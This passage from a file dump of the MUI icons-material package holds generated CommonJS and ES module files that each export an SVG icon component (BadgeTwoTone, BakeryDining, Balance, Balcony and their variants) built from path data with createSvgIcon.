0-2-.9-2-2H4v11h16V9h-5c0 1.1-.9 2-2 2m-4 1c.83 0 1.5.67 1.5 1.5S9.83 15 9 15s-1.5-.67-1.5-1.5S8.17 12 9 12m3 6H6v-.43c0-.6.36-1.15.92-1.39.64-.28 1.34-.43 2.08-.43s1.44.15 2.08.43c.55.24.92.78.92 1.39zm6-1.5h-4V15h4zm0-3h-4V12h4z\",\n  opacity: \".3\"\n}, \"1\")], 'BadgeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BadgeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 13.5h4V12h-4zm0 3h4V15h-4zM20 7h-5V4c0-1.1-.9-2-2-2h-2c-1.1 0-2 .9-2 2v3H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m-9-3h2v5h-2zm9 16H4V9h5c0 1.1.9 2 2 2h2c1.1 0 2-.9 2-2h5zM9 15c.83 0 1.5-.67 1.5-1.5S9.83 12 9 12s-1.5.67-1.5 1.5S8.17 15 9 15m2.08 1.18c-.64-.28-1.34-.43-2.08-.43s-1.44.15-2.08.43c-.56.24-.92.78-.92 1.39V18h6v-.43c0-.61-.36-1.15-.92-1.39\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 11h-2c-1.1 0-2-.9-2-2H4v11h16V9h-5c0 1.1-.9 2-2 2m-4 1c.83 0 1.5.67 1.5 1.5S9.83 15 9 15s-1.5-.67-1.5-1.5S8.17 12 9 12m3 6H6v-.43c0-.6.36-1.15.92-1.39.64-.28 1.34-.43 2.08-.43s1.44.15 2.08.43c.55.24.92.78.92 1.39zm6-1.5h-4V15h4zm0-3h-4V12h4z\",\n  opacity: \".3\"\n}, \"1\")], 'BadgeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BakeryDining.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M19.28 16.34c-1.21-.89-1.82-1.34-1.82-1.34s.32-.59.96-1.78c.38-.59 1.22-.59 1.6 0l.81 1.26c.19.3.21.68.06 1l-.22.47c-.25.54-.91.72-1.39.39m-14.56 0c-.48.33-1.13.15-1.39-.38l-.23-.47c-.15-.32-.13-.7.06-1l.81-1.26c.38-.59 1.22-.59 1.6 0 .65 1.18.97 1.77.97 1.77s-.61.45-1.82 1.34m10.64-6.97c.09-.68.73-1.06 1.27-.75l1.59.9c.46.26.63.91.36 1.41L16.5 15h-1.8zm-6.73 0L9.3 15H7.5l-2.09-4.08c-.27-.5-.1-1.15.36-1.41l1.59-.9c.53-.3 1.18.08 1.27.76M13.8 15h-3.6l-.74-6.88c-.07-.59.35-1.12.88-1.12h3.3c.53 0 .94.53.88 1.12z\"\n}), 'BakeryDining');"
  },
  {
    "path": "packages/mui-icons-material/lib/BakeryDining.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M19.28 16.34c-1.21-.89-1.82-1.34-1.82-1.34s.32-.59.96-1.78c.38-.59 1.22-.59 1.6 0l.81 1.26c.19.3.21.68.06 1l-.22.47c-.25.54-.91.72-1.39.39m-14.56 0c-.48.33-1.13.15-1.39-.38l-.23-.47c-.15-.32-.13-.7.06-1l.81-1.26c.38-.59 1.22-.59 1.6 0 .65 1.18.97 1.77.97 1.77s-.61.45-1.82 1.34m10.64-6.97c.09-.68.73-1.06 1.27-.75l1.59.9c.46.26.63.91.36 1.41L16.5 15h-1.8zm-6.73 0L9.3 15H7.5l-2.09-4.08c-.27-.5-.1-1.15.36-1.41l1.59-.9c.53-.3 1.18.08 1.27.76M13.8 15h-3.6l-.74-6.88c-.07-.59.35-1.12.88-1.12h3.3c.53 0 .94.53.88 1.12z\"\n}), 'BakeryDining');"
  },
  {
    "path": "packages/mui-icons-material/lib/BakeryDiningOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.5 10.94c.13-.32.1-.23.15-.39.3-1.21-.34-2.47-1.5-2.93l-2.01-.8c-.46-.18-.95-.21-1.41-.12-.11-.33-.29-.63-.52-.89-.48-.52-1.15-.81-1.85-.81h-2.71c-.71 0-1.38.29-1.85.81-.24.26-.42.56-.53.88-.46-.09-.95-.06-1.41.12l-2.01.8c-1.16.46-1.8 1.72-1.5 2.93l.15.38C1.1 15.55 1 15.55 1 16.38c0 .91.46 1.74 1.24 2.22 1.42.88 2.49.14 4-.61h11.53c1.52.76 1.86 1.01 2.63 1.01 1 0 2.61-.77 2.61-2.61-.01-.85-.13-.88-2.51-5.45m-.38 5.99-1.68-.84 1.08-2.7 1.41 2.71c.28.53-.29 1.09-.81.83m-5.03-.94.62-6.9c.03-.33.37-.54.68-.42l2.01.8c.22.09.34.31.31.54l-2.4 5.98zm-7.41 0-2.4-5.98c-.03-.23.09-.45.31-.54l2.01-.8c.31-.12.65.08.68.42l.62 6.9zm-4.61.11 1.41-2.72 1.08 2.71-1.68.84c-.52.26-1.09-.3-.81-.83m7.08-8.56c-.03-.31.23-.54.5-.54h2.71c.27 0 .53.23.5.54l-.77 8.45h-2.17z\"\n}), 'BakeryDiningOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BakeryDiningOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.5 10.94c.13-.32.1-.23.15-.39.3-1.21-.34-2.47-1.5-2.93l-2.01-.8c-.46-.18-.95-.21-1.41-.12-.11-.33-.29-.63-.52-.89-.48-.52-1.15-.81-1.85-.81h-2.71c-.71 0-1.38.29-1.85.81-.24.26-.42.56-.53.88-.46-.09-.95-.06-1.41.12l-2.01.8c-1.16.46-1.8 1.72-1.5 2.93l.15.38C1.1 15.55 1 15.55 1 16.38c0 .91.46 1.74 1.24 2.22 1.42.88 2.49.14 4-.61h11.53c1.52.76 1.86 1.01 2.63 1.01 1 0 2.61-.77 2.61-2.61-.01-.85-.13-.88-2.51-5.45m-.38 5.99-1.68-.84 1.08-2.7 1.41 2.71c.28.53-.29 1.09-.81.83m-5.03-.94.62-6.9c.03-.33.37-.54.68-.42l2.01.8c.22.09.34.31.31.54l-2.4 5.98zm-7.41 0-2.4-5.98c-.03-.23.09-.45.31-.54l2.01-.8c.31-.12.65.08.68.42l.62 6.9zm-4.61.11 1.41-2.72 1.08 2.71-1.68.84c-.52.26-1.09-.3-.81-.83m7.08-8.56c-.03-.31.23-.54.5-.54h2.71c.27 0 .53.23.5.54l-.77 8.45h-2.17z\"\n}), 'BakeryDiningOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BakeryDiningRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.77 8.55-1.17-.47c-.62-.25-1.31.17-1.37.84L15.49 17H17l2.6-6.5c.31-.77-.06-1.65-.83-1.95M6.4 8.08l-1.17.47c-.77.3-1.14 1.18-.83 1.95L7 17h1.5l-.74-8.08c-.06-.67-.74-1.09-1.36-.84M13.36 6h-2.71c-.89 0-1.58.76-1.5 1.64l.85 9.35h4l.85-9.36c.08-.87-.61-1.63-1.49-1.63M3.18 13.72l-1 1.93c-.19.36-.23.78-.12 1.19.29 1.01 1.43 1.41 2.38.94l1.05-.52-1.4-3.49c-.16-.4-.71-.43-.91-.05m18.64 1.93-1-1.93c-.2-.38-.75-.35-.91.04l-1.4 3.49 1.05.52c.94.47 2.09.07 2.38-.94.11-.4.07-.82-.12-1.18\"\n}), 'BakeryDiningRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BakeryDiningRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.77 8.55-1.17-.47c-.62-.25-1.31.17-1.37.84L15.49 17H17l2.6-6.5c.31-.77-.06-1.65-.83-1.95M6.4 8.08l-1.17.47c-.77.3-1.14 1.18-.83 1.95L7 17h1.5l-.74-8.08c-.06-.67-.74-1.09-1.36-.84M13.36 6h-2.71c-.89 0-1.58.76-1.5 1.64l.85 9.35h4l.85-9.36c.08-.87-.61-1.63-1.49-1.63M3.18 13.72l-1 1.93c-.19.36-.23.78-.12 1.19.29 1.01 1.43 1.41 2.38.94l1.05-.52-1.4-3.49c-.16-.4-.71-.43-.91-.05m18.64 1.93-1-1.93c-.2-.38-.75-.35-.91.04l-1.4 3.49 1.05.52c.94.47 2.09.07 2.38-.94.11-.4.07-.82-.12-1.18\"\n}), 'BakeryDiningRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BakeryDiningSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.36 7.58-.86 9.41H17l3.16-7.89zM3.84 9.1 7 16.99h1.5l-.86-9.41zM10 16.99h4L15 6H9zm10.32-4.24-1.81 4.5 1.95.96 2.06-1.22zM1.48 16.99l2.06 1.22 1.95-.96-1.81-4.5z\"\n}), 'BakeryDiningSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BakeryDiningSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.36 7.58-.86 9.41H17l3.16-7.89zM3.84 9.1 7 16.99h1.5l-.86-9.41zM10 16.99h4L15 6H9zm10.32-4.24-1.81 4.5 1.95.96 2.06-1.22zM1.48 16.99l2.06 1.22 1.95-.96-1.81-4.5z\"\n}), 'BakeryDiningSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BakeryDiningTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m7.6 8.67-2.01.8c-.22.09-.34.31-.31.54l2.4 5.98h1.23l-.62-6.9c-.04-.34-.38-.55-.69-.42M3.07 16.1c-.27.53.29 1.09.82.83l1.68-.84-1.08-2.71zm10.29-9.11h-2.71c-.27 0-.53.23-.5.54l.77 8.45h2.17l.77-8.45c.02-.31-.23-.54-.5-.54m5.05 2.48-2.01-.8c-.31-.12-.65.09-.68.42l-.62 6.9h1.23l2.4-5.98c.02-.23-.1-.45-.32-.54m1.11 3.92-1.08 2.7 1.68.84c.52.26 1.09-.3.82-.83z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.5 10.94c.13-.32.1-.23.15-.39.3-1.21-.34-2.47-1.5-2.93l-2.01-.8c-.46-.18-.95-.21-1.41-.12-.11-.33-.29-.63-.52-.89-.48-.52-1.15-.81-1.85-.81h-2.71c-.71 0-1.38.29-1.85.81-.24.26-.42.56-.53.88-.46-.09-.95-.06-1.41.12l-2.01.8c-1.16.46-1.8 1.72-1.5 2.93l.15.38C1.1 15.55 1 15.55 1 16.38c0 .91.46 1.74 1.24 2.22 1.42.88 2.49.14 4-.61h11.53c1.52.76 1.86 1.01 2.63 1.01 1 0 2.61-.77 2.61-2.61-.01-.85-.13-.88-2.51-5.45M3.88 16.93c-.53.26-1.09-.3-.82-.83l1.41-2.72 1.08 2.71zm3.8-.94-2.4-5.98c-.03-.23.09-.45.31-.54l2.01-.8c.31-.12.65.08.68.42l.62 6.9zm5.41 0h-2.17l-.77-8.45c-.03-.31.23-.54.5-.54h2.71c.27 0 .53.23.5.54zm3.23 0h-1.23l.62-6.9c.03-.33.37-.54.68-.42l2.01.8c.22.09.34.31.31.54zm3.8.94-1.68-.84 1.08-2.7 1.41 2.71c.28.53-.29 1.09-.81.83\"\n}, \"1\")], 'BakeryDiningTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BakeryDiningTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m7.6 8.67-2.01.8c-.22.09-.34.31-.31.54l2.4 5.98h1.23l-.62-6.9c-.04-.34-.38-.55-.69-.42M3.07 16.1c-.27.53.29 1.09.82.83l1.68-.84-1.08-2.71zm10.29-9.11h-2.71c-.27 0-.53.23-.5.54l.77 8.45h2.17l.77-8.45c.02-.31-.23-.54-.5-.54m5.05 2.48-2.01-.8c-.31-.12-.65.09-.68.42l-.62 6.9h1.23l2.4-5.98c.02-.23-.1-.45-.32-.54m1.11 3.92-1.08 2.7 1.68.84c.52.26 1.09-.3.82-.83z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.5 10.94c.13-.32.1-.23.15-.39.3-1.21-.34-2.47-1.5-2.93l-2.01-.8c-.46-.18-.95-.21-1.41-.12-.11-.33-.29-.63-.52-.89-.48-.52-1.15-.81-1.85-.81h-2.71c-.71 0-1.38.29-1.85.81-.24.26-.42.56-.53.88-.46-.09-.95-.06-1.41.12l-2.01.8c-1.16.46-1.8 1.72-1.5 2.93l.15.38C1.1 15.55 1 15.55 1 16.38c0 .91.46 1.74 1.24 2.22 1.42.88 2.49.14 4-.61h11.53c1.52.76 1.86 1.01 2.63 1.01 1 0 2.61-.77 2.61-2.61-.01-.85-.13-.88-2.51-5.45M3.88 16.93c-.53.26-1.09-.3-.82-.83l1.41-2.72 1.08 2.71zm3.8-.94-2.4-5.98c-.03-.23.09-.45.31-.54l2.01-.8c.31-.12.65.08.68.42l.62 6.9zm5.41 0h-2.17l-.77-8.45c-.03-.31.23-.54.5-.54h2.71c.27 0 .53.23.5.54zm3.23 0h-1.23l.62-6.9c.03-.33.37-.54.68-.42l2.01.8c.22.09.34.31.31.54zm3.8.94-1.68-.84 1.08-2.7 1.41 2.71c.28.53-.29 1.09-.81.83\"\n}, \"1\")], 'BakeryDiningTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Balance.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7.83c.85-.3 1.53-.98 1.83-1.83H18l-3 7c0 1.66 1.57 3 3.5 3s3.5-1.34 3.5-3l-3-7h2V4h-6.17c-.41-1.17-1.52-2-2.83-2s-2.42.83-2.83 2H3v2h2l-3 7c0 1.66 1.57 3 3.5 3S9 14.66 9 13L6 6h3.17c.3.85.98 1.53 1.83 1.83V19H2v2h20v-2h-9zM20.37 13h-3.74l1.87-4.36zm-13 0H3.63L5.5 8.64zM12 6c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'Balance');"
  },
  {
    "path": "packages/mui-icons-material/lib/Balance.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7.83c.85-.3 1.53-.98 1.83-1.83H18l-3 7c0 1.66 1.57 3 3.5 3s3.5-1.34 3.5-3l-3-7h2V4h-6.17c-.41-1.17-1.52-2-2.83-2s-2.42.83-2.83 2H3v2h2l-3 7c0 1.66 1.57 3 3.5 3S9 14.66 9 13L6 6h3.17c.3.85.98 1.53 1.83 1.83V19H2v2h20v-2h-9zM20.37 13h-3.74l1.87-4.36zm-13 0H3.63L5.5 8.64zM12 6c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'Balance');"
  },
  {
    "path": "packages/mui-icons-material/lib/BalanceOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7.83c.85-.3 1.53-.98 1.83-1.83H18l-3 7c0 1.66 1.57 3 3.5 3s3.5-1.34 3.5-3l-3-7h2V4h-6.17c-.41-1.17-1.52-2-2.83-2s-2.42.83-2.83 2H3v2h2l-3 7c0 1.66 1.57 3 3.5 3S9 14.66 9 13L6 6h3.17c.3.85.98 1.53 1.83 1.83V19H2v2h20v-2h-9zM20.37 13h-3.74l1.87-4.36zm-13 0H3.63L5.5 8.64zM12 6c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'BalanceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BalanceOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7.83c.85-.3 1.53-.98 1.83-1.83H18l-3 7c0 1.66 1.57 3 3.5 3s3.5-1.34 3.5-3l-3-7h2V4h-6.17c-.41-1.17-1.52-2-2.83-2s-2.42.83-2.83 2H3v2h2l-3 7c0 1.66 1.57 3 3.5 3S9 14.66 9 13L6 6h3.17c.3.85.98 1.53 1.83 1.83V19H2v2h20v-2h-9zM20.37 13h-3.74l1.87-4.36zm-13 0H3.63L5.5 8.64zM12 6c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'BalanceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BalanceRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 19V7.83c.85-.3 1.53-.98 1.83-1.83H18l-2.78 6.49c-.17.39-.23.84-.11 1.25.39 1.3 1.76 2.26 3.39 2.26s3.01-.96 3.39-2.26c.12-.41.06-.86-.11-1.25L19 6h1c.55 0 1-.45 1-1s-.45-1-1-1h-5.17c-.41-1.17-1.52-2-2.83-2s-2.42.83-2.83 2H4c-.55 0-1 .45-1 1s.45 1 1 1h1l-2.78 6.49c-.17.39-.23.84-.11 1.25C2.49 15.04 3.87 16 5.5 16s3.01-.96 3.39-2.26c.12-.41.06-.86-.11-1.25L6 6h3.17c.3.85.98 1.53 1.83 1.83V19m0 0H3c-.55 0-1 .45-1 1s.45 1 1 1h18c.55 0 1-.45 1-1s-.45-1-1-1h-8m7.37-6h-3.74l1.87-4.36zm-13 0H3.63L5.5 8.64zM12 6c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'BalanceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BalanceRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 19V7.83c.85-.3 1.53-.98 1.83-1.83H18l-2.78 6.49c-.17.39-.23.84-.11 1.25.39 1.3 1.76 2.26 3.39 2.26s3.01-.96 3.39-2.26c.12-.41.06-.86-.11-1.25L19 6h1c.55 0 1-.45 1-1s-.45-1-1-1h-5.17c-.41-1.17-1.52-2-2.83-2s-2.42.83-2.83 2H4c-.55 0-1 .45-1 1s.45 1 1 1h1l-2.78 6.49c-.17.39-.23.84-.11 1.25C2.49 15.04 3.87 16 5.5 16s3.01-.96 3.39-2.26c.12-.41.06-.86-.11-1.25L6 6h3.17c.3.85.98 1.53 1.83 1.83V19m0 0H3c-.55 0-1 .45-1 1s.45 1 1 1h18c.55 0 1-.45 1-1s-.45-1-1-1h-8m7.37-6h-3.74l1.87-4.36zm-13 0H3.63L5.5 8.64zM12 6c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'BalanceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BalanceSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7.83c.85-.3 1.53-.98 1.83-1.83H18l-3 7c0 1.66 1.57 3 3.5 3s3.5-1.34 3.5-3l-3-7h2V4h-6.17c-.41-1.17-1.52-2-2.83-2s-2.42.83-2.83 2H3v2h2l-3 7c0 1.66 1.57 3 3.5 3S9 14.66 9 13L6 6h3.17c.3.85.98 1.53 1.83 1.83V19H2v2h20v-2h-9zM20.37 13h-3.74l1.87-4.36zm-13 0H3.63L5.5 8.64zM12 6c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'BalanceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BalanceSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7.83c.85-.3 1.53-.98 1.83-1.83H18l-3 7c0 1.66 1.57 3 3.5 3s3.5-1.34 3.5-3l-3-7h2V4h-6.17c-.41-1.17-1.52-2-2.83-2s-2.42.83-2.83 2H3v2h2l-3 7c0 1.66 1.57 3 3.5 3S9 14.66 9 13L6 6h3.17c.3.85.98 1.53 1.83 1.83V19H2v2h20v-2h-9zM20.37 13h-3.74l1.87-4.36zm-13 0H3.63L5.5 8.64zM12 6c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'BalanceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BalanceTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"5\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7.83c.85-.3 1.53-.98 1.83-1.83H18l-3 7c0 1.66 1.57 3 3.5 3s3.5-1.34 3.5-3l-3-7h2V4h-6.17c-.41-1.17-1.52-2-2.83-2s-2.42.83-2.83 2H3v2h2l-3 7c0 1.66 1.57 3 3.5 3S9 14.66 9 13L6 6h3.17c.3.85.98 1.53 1.83 1.83V19H2v2h20v-2h-9zM20.37 13h-3.74l1.87-4.36zm-13 0H3.63L5.5 8.64zM12 6c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'BalanceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BalanceTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"5\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7.83c.85-.3 1.53-.98 1.83-1.83H18l-3 7c0 1.66 1.57 3 3.5 3s3.5-1.34 3.5-3l-3-7h2V4h-6.17c-.41-1.17-1.52-2-2.83-2s-2.42.83-2.83 2H3v2h2l-3 7c0 1.66 1.57 3 3.5 3S9 14.66 9 13L6 6h3.17c.3.85.98 1.53 1.83 1.83V19H2v2h20v-2h-9zM20.37 13h-3.74l1.87-4.36zm-13 0H3.63L5.5 8.64zM12 6c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'BalanceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Balcony.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 10v2H8v-2zm6 2v-2h-2v2zm5 2v8H3v-8h1v-4c0-4.42 3.58-8 8-8s8 3.58 8 8v4zM7 16H5v4h2zm4 0H9v4h2zm0-11.92C8.16 4.56 6 7.03 6 10v4h5zM13 14h5v-4c0-2.97-2.16-5.44-5-5.92zm2 2h-2v4h2zm4 0h-2v4h2z\"\n}), 'Balcony');"
  },
  {
    "path": "packages/mui-icons-material/lib/Balcony.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 10v2H8v-2zm6 2v-2h-2v2zm5 2v8H3v-8h1v-4c0-4.42 3.58-8 8-8s8 3.58 8 8v4zM7 16H5v4h2zm4 0H9v4h2zm0-11.92C8.16 4.56 6 7.03 6 10v4h5zM13 14h5v-4c0-2.97-2.16-5.44-5-5.92zm2 2h-2v4h2zm4 0h-2v4h2z\"\n}), 'Balcony');"
  },
  {
    "path": "packages/mui-icons-material/lib/BalconyOutlined.js",
